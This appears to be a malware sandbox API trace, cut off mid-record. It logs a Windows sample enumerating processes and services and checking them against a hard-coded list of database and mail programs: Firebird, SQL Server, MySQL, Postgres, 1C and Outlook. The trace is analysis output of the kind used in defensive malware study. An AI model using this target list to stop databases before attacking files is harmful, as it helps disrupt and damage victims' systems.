[0235.385] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.385] lstrlenW (lpString="explorer.exe") returned 12 [0235.385] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.385] lstrlenW (lpString="spoolsv.exe") returned 11 [0235.385] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0235.386] lstrlenW (lpString="taskhost.exe") returned 12 [0235.386] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.386] lstrlenW (lpString="svchost.exe") returned 11 [0235.386] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0235.386] lstrlenW (lpString="uyuquk.exe") returned 10 [0235.386] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0235.386] lstrlenW (lpString="reader_sl.exe") returned 13 [0235.387] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0235.387] lstrlenW (lpString="AdobeARM.exe") returned 12 [0235.387] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0235.387] lstrlenW (lpString="cmd.exe") returned 7 [0235.387] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0235.387] lstrlenW (lpString="conhost.exe") returned 11 [0235.387] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0235.388] CloseHandle (hObject=0x134) returned 1 [0235.388] Sleep (dwMilliseconds=0x1f4) [0236.138] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42877e8 [0236.337] EnumServicesStatusExW (in: hSCManager=0x42877e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0236.338] GetLastError () returned 0xea [0236.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xacc) returned 0x3afc1b0 [0236.338] EnumServicesStatusExW (in: hSCManager=0x42877e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3afc1b0, cbBufSize=0xacc, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3afc1b0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0236.373] GetLastError () returned 0xea [0236.373] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x3afc1b0, Size=0xb52) returned 0x4240220 [0236.373] EnumServicesStatusExW (in: hSCManager=0x42877e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4240220, cbBufSize=0xb52, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4240220, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0236.375] CloseServiceHandle (hSCObject=0x42877e8) returned 1 [0236.375] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0236.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.375] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0236.375] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0236.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0236.375] lstrlenW (lpString="AudioSrv") returned 8 [0236.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0236.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0236.375] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0236.375] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0236.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0236.376] lstrlenW (lpString="BFE") returned 3 [0236.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0236.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0236.376] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0236.376] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0236.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0236.376] lstrlenW (lpString="CryptSvc") returned 8 [0236.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0236.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0236.376] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0236.376] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0236.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0236.376] lstrlenW (lpString="CscService") returned 10 [0236.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0236.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0236.376] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0236.376] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0236.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0236.376] lstrlenW (lpString="DcomLaunch") returned 10 [0236.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.376] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0236.376] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0236.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0236.376] lstrlenW (lpString="Dhcp") returned 4 [0236.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0236.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0236.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0236.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0236.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0236.376] lstrlenW (lpString="Dnscache") returned 8 [0236.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0236.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0236.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0236.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0236.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0236.377] lstrlenW (lpString="eventlog") returned 8 [0236.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0236.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0236.377] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0236.377] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0236.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0236.377] lstrlenW (lpString="EventSystem") returned 11 [0236.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0236.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0236.377] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0236.377] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0236.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0236.377] lstrlenW (lpString="gpsvc") returned 5 [0236.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0236.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0236.377] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0236.377] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0236.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0236.377] lstrlenW (lpString="LanmanWorkstation") returned 17 [0236.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0236.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0236.377] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0236.377] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0236.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0236.377] lstrlenW (lpString="lmhosts") returned 7 [0236.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0236.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0236.377] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0236.377] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0236.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0236.377] lstrlenW (lpString="MMCSS") returned 5 [0236.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0236.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0236.377] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0236.377] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0236.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0236.378] lstrlenW (lpString="MpsSvc") returned 6 [0236.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0236.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0236.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0236.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0236.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0236.378] lstrlenW (lpString="nsi") returned 3 [0236.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0236.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0236.378] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0236.378] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0236.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0236.378] lstrlenW (lpString="PlugPlay") returned 8 [0236.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0236.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0236.378] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0236.378] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0236.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0236.378] lstrlenW (lpString="Power") returned 5 [0236.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0236.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0236.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0236.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0236.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0236.378] lstrlenW (lpString="ProfSvc") returned 7 [0236.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0236.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0236.378] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0236.378] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0236.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0236.378] lstrlenW (lpString="RpcEptMapper") returned 12 [0236.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0236.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0236.378] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0236.378] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0236.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0236.379] lstrlenW (lpString="RpcSs") returned 5 [0236.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0236.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0236.379] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0236.379] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0236.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0236.379] lstrlenW (lpString="SamSs") returned 5 [0236.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0236.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0236.379] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0236.379] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0236.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0236.379] lstrlenW (lpString="Schedule") returned 8 [0236.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0236.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0236.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0236.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0236.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0236.379] lstrlenW (lpString="SENS") returned 4 [0236.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0236.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0236.379] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0236.379] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0236.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0236.379] lstrlenW (lpString="ShellHWDetection") returned 16 [0236.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0236.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0236.379] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0236.379] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0236.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0236.379] lstrlenW (lpString="Spooler") returned 7 [0236.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0236.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0236.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0236.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0236.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0236.380] lstrlenW (lpString="Themes") returned 6 [0236.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0236.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0236.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0236.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0236.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0236.380] lstrlenW (lpString="UxSms") returned 5 [0236.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0236.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0236.380] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0236.380] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0236.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0236.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4240220 | out: hHeap=0x530000) returned 1 [0236.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0236.381] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.381] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.382] lstrlenW (lpString="System") returned 6 [0236.382] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0236.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0236.382] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0236.382] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0236.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0236.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0236.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0236.382] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.382] lstrlenW (lpString="smss.exe") returned 8 [0236.382] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0236.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0236.382] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0236.382] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0236.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0236.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0236.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0236.382] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.383] lstrlenW (lpString="csrss.exe") returned 9 [0236.383] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0236.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0236.383] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0236.383] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0236.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0236.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0236.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0236.383] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.383] lstrlenW (lpString="wininit.exe") returned 11 [0236.383] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0236.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0236.383] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0236.383] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0236.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0236.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0236.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0236.383] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.384] lstrlenW (lpString="csrss.exe") returned 9 [0236.384] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0236.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0236.384] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0236.384] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0236.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0236.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0236.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0236.384] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.384] lstrlenW (lpString="winlogon.exe") returned 12 [0236.384] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0236.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0236.384] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0236.384] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0236.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0236.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0236.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0236.384] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.385] lstrlenW (lpString="services.exe") returned 12 [0236.385] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0236.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0236.385] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0236.385] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0236.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0236.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0236.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0236.385] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.385] lstrlenW (lpString="lsass.exe") returned 9 [0236.385] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0236.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0236.385] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0236.385] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0236.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0236.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0236.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0236.385] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, 